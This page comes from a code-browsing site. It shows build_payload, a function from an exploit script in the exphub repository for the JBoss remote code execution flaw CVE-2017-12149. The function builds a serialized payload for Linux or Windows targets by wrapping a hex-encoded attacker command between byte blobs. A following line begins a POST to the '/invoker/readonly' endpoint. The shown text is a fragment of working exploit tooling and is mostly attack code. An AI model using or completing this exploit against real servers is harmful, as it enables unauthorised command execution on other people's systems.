MCPcopy
hub / github.com/zhzyker/exphub / build_payload

Function build_payload

jboss/cve-2017-12149_cmd.py:114–125  ·  view source on GitHub ↗
(target_os, command)

Source from the content-addressed store, hash-verified

112 return command_hex
113
114def build_payload(target_os, command):
115 global os_type
116 if os_type == "unknown":
117 if target_os == "linux":
118 payload = binascii.unhexlify(linux_payload_1 + build_command_hex(command) + payload_2)
119 if target_os == "windows":
120 payload = binascii.unhexlify(win_payload_1 + build_command_hex(command) + payload_2)
121 if os_type == "linux":
122 payload = binascii.unhexlify(linux_payload_1 + build_command_hex(command) + payload_2)
123 if os_type == "windows":
124 payload = binascii.unhexlify(win_payload_1 + build_command_hex(command) + payload_2)
125 return payload
126
127def do_post(payload):
128 payload_url = url_in + "/invoker/readonly"

Callers 2

check_OSFunction · 0.85
run_commandFunction · 0.85

Calls 1

build_command_hexFunction · 0.85

Tested by

no test coverage detected